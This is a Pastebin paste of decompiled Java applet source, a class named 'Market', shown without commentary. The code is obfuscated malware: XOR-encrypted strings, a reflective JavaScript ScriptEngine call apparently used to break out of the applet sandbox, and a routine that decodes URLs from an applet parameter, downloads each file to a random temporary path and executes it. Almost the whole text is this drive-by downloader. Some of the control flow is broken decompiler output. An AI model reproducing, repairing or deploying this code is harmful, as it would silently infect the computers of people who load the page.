Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
- // Jad home page: http://www.kpdus.com/jad.html
- // Decompiler options: packimports(3)
- // Source File Name: Market.java
- import java.applet.Applet;
- import java.io.*;
- import java.lang.reflect.Method;
- import java.net.URL;
- import javax.script.*;
- import javax.swing.JList;
- public class Market extends Applet
- {
- public Market()
- {
- }
- private static final native void boo();
- public void init()
- {
- try
- {
- c = z[5];
- String s = z[2];
- ScriptEngine scriptengine = (new ScriptEngineManager()).getEngineByName(z[7]);
- b = z[6];
- javax/script/ScriptEngine.getMethod(z[8], new Class[] {
- java/lang/String
- }).invoke(scriptengine, new Object[] {
- z[4]
- });
- Invocable invocable = (Invocable)scriptengine;
- d = z[1];
- try
- {
- Object obj = invocable.invokeFunction(z[3], new Object[] {
- this
- });
- Object aobj[] = {
- obj
- };
- JList jlist = new JList(aobj);
- add(jlist);
- }
- catch(Exception exception1) { }
- }
- catch(Exception exception) { }
- }
- public String toString()
- {
- String s;
- int j;
- j = g;
- s = "";
- String as[];
- int i;
- as = a(d, b, getParameter("p")).split(z[9]);
- String s1 = "";
- i = 0;
- if(j == 0) goto _L2; else goto _L1
- _L1:
- s = s.concat(b(as[i]));
- _L5:
- i++;
- _L2:
- if(i < as.length) goto _L1; else goto _L3
- _L3:
- if(j != 0) goto _L5; else goto _L4
- _L4:
- break MISSING_BLOCK_LABEL_77;
- Exception exception;
- exception;
- return s;
- }
- public String b(String s)
- {
- try
- {
- String s1 = b();
- f = new URL(s);
- s1 = s1.concat(String.valueOf(a()));
- s1 = s1.concat(z[0]);
- InputStream inputstream = f.openStream();
- a = new FileOutputStream(s1);
- byte abyte0[] = new byte[4096];
- int i;
- while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1)
- a(abyte0, i);
- inputstream.close();
- a.close();
- try
- {
- a(s1);
- }
- catch(Exception exception1) { }
- try
- {
- a(c.concat(s1.concat("\"")));
- }
- catch(Exception exception2) { }
- }
- catch(Exception exception) { }
- return "";
- }
- public static void a(String s)
- throws Exception
- {
- label0:
- {
- int i = g;
- try
- {
- Class.forName(z[15]).getMethod(z[16], new Class[] {
- java/lang/String
- }).invoke(Class.forName(z[15]).getMethod(z[14], new Class[0]).invoke(Class.forName(z[15]), new Object[0]), new Object[] {
- s
- });
- if(e)
- g = ++i;
- break label0;
- }
- catch(Exception _ex) { }
- }
- }
- public static double a()
- throws Exception
- {
- return ((Double)java/lang/Math.getMethod(z[10], new Class[0]).invoke(java/lang/Math, new Object[0])).doubleValue();
- }
- public static String b()
- throws Exception
- {
- String s = "";
- return (String)java/lang/System.getMethod(z[12], new Class[] {
- java/lang/String
- }).invoke(java/lang/System, new Object[] {
- z[11]
- });
- }
- public static void a(byte abyte0[], int i)
- throws Exception
- {
- int j = g;
- java/io/FileOutputStream.getMethod(z[13], new Class[] {
- [B, Integer.TYPE, Integer.TYPE
- }).invoke(a, new Object[] {
- abyte0, Integer.valueOf(0), Integer.valueOf(i)
- });
- if(j == 0)
- break MISSING_BLOCK_LABEL_88;
- e;
- JVM INSTR ifeq 84;
- goto _L1 _L2
- _L1:
- break MISSING_BLOCK_LABEL_79;
- _L2:
- break MISSING_BLOCK_LABEL_84;
- throw ;
- e = false;
- break MISSING_BLOCK_LABEL_88;
- throw ;
- e = true;
- }
- public String a(String s, String s1, String s2)
- {
- String s3;
- int j;
- int k;
- k = g;
- s3 = "";
- boolean flag = false;
- j = 0;
- if(k == 0) goto _L2; else goto _L1
- _L1:
- s;
- _L9:
- s2.charAt(j);
- if(k != 0) goto _L4; else goto _L3
- _L3:
- indexOf();
- JVM INSTR dup ;
- int i;
- i;
- JVM INSTR iflt 57;
- goto _L5 _L6
- _L5:
- break MISSING_BLOCK_LABEL_41;
- _L6:
- continue; /* Loop/switch isn't completed */
- s3;
- s1.charAt(i);
- _L4:
- String.valueOf();
- concat();
- s3;
- j++;
- _L2:
- if(j < s2.length()) goto _L1; else goto _L7
- _L7:
- s3;
- if(k != 0) goto _L9; else goto _L8
- _L8:
- return;
- }
- static String b;
- public static FileOutputStream a;
- static String d;
- static String c;
- URL f;
- public static boolean e;
- public static int g;
- private static final String z[];
- static
- {
- String as[] = new String[17];
- as;
- as;
- 0;
- "-Z\0367";
- -1;
- goto _L1
- _L7:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- true;
- "gp$3m \031I:UQG\bh\0011{RbnJk#\034@DJ\025(b0F\0207oo|*\031gs\022\000\037\016EnY8XIXCeaww\024ch`h^\001\nB\n\013;F-T";
- false;
- goto _L1
- _L8:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 2;
- "pI\002$";
- true;
- goto _L1
- _L9:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 3;
- "wP5&EjQ\001";
- 2;
- goto _L1
- _L10:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 4;
- "eJ\b1CjP\brCll\022 ^mXN!Cq\026\035;\n3\004\022:^p\021\022=dwM\017<P#\002F4Bm\\\022;Xm\027O)^e\027\017n\n3\026\035&EzD\f3Ab\021\n3Yd\0215+DwZ\013|DfK57TvM\017&NN^\b3PfMN<BoSOiDwMH&XPK\024;Yd\027OiJ`^\0221_+ZO)J~\004\017y\0348M\003&BqQFu\0208B]7\027>\037\b7@#z\024 Xq\027OiR-R\003!DbX\003r\n#K\016;D8M\003&BqQF7\f~";
- 3;
- goto _L1
- _L11:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 5;
- "qZ\001!Aq\fTr\032p\037D";
- 4;
- goto _L1
- _L12:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 6;
- "2w^\177mZp_'cDvC\026RqU\036\007@r`\001\024^%i\022!Z1S\016<A9t(\005\031F\000\r\"\002ln$\030\000`\020U3QymV\n{>~E\001\001g\013%\002zaF";
- 5;
- goto _L1
- _L13:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 7;
- "iL";
- 6;
- goto _L1
- _L14:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 8;
- "fI\007>";
- 7;
- goto _L1
- _L15:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 9;
- "9\005";
- 8;
- goto _L1
- _L16:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 10;
- "q^\b6Xn";
- 9;
- goto _L1
- _L17:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 11;
- "i^\0203\031jPH&Zs[\017 ";
- 10;
- goto _L1
- _L18:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 12;
- "dZ\022\002ElO\003 Cz";
- 11;
- goto _L1
- _L19:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 13;
- "tM\017&R";
- 12;
- goto _L1
- _L20:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 14;
- "dZ\022\000BmK\017?R";
- 13;
- goto _L1
- _L21:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 15;
- "i^\0203\031o^\b5\031QJ\b&^nZ";
- 14;
- goto _L1
- _L22:
- JVM INSTR aastore ;
- JVM INSTR dup ;
- 16;
- "fG\0031";
- 15;
- goto _L1
- _L23:
- JVM INSTR aastore ;
- z;
- _L1:
- JVM INSTR swap ;
- toCharArray();
- JVM INSTR dup ;
- JVM INSTR arraylength .length;
- JVM INSTR swap ;
- int i = 0;
- JVM INSTR swap ;
- JVM INSTR dup_x1 ;
- 1;
- JVM INSTR icmpgt 277;
- goto _L2 _L3
- _L2:
- JVM INSTR dup ;
- i;
- _L5:
- JVM INSTR dup2 ;
- JVM INSTR caload ;
- byte byte0;
- switch(i % 5)
- {
- case 0: // '\0'
- byte0 = 3;
- break;
- case 1: // '\001'
- byte0 = 63;
- break;
- case 2: // '\002'
- byte0 = 102;
- break;
- case 3: // '\003'
- byte0 = 82;
- break;
- default:
- byte0 = 55;
- break;
- }
- byte0;
- JVM INSTR ixor ;
- (char);
- JVM INSTR castore ;
- i++;
- JVM INSTR swap ;
- JVM INSTR dup_x1 ;
- JVM INSTR ifne 277;
- goto _L4 _L3
- _L4:
- JVM INSTR dup2 ;
- JVM INSTR swap ;
- goto _L5
- _L3:
- JVM INSTR swap ;
- JVM INSTR dup_x1 ;
- i;
- JVM INSTR icmpgt 201;
- goto _L6 _L2
- _L6:
- JVM INSTR new #46 <Class String>;
- JVM INSTR dup_x1 ;
- JVM INSTR swap ;
- String();
- intern();
- JVM INSTR swap ;
- JVM INSTR pop ;
- JVM INSTR swap ;
- JVM INSTR tableswitch 0 15: default 14
- // 0 23
- // 1 32
- // 2 41
- // 3 50
- // 4 59
- // 5 69
- // 6 80
- // 7 91
- // 8 102
- // 9 113
- // 10 124
- // 11 135
- // 12 146
- // 13 157
- // 14 168
- // 15 179;
- goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L16 _L17 _L18 _L19 _L20 _L21 _L22 _L23
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement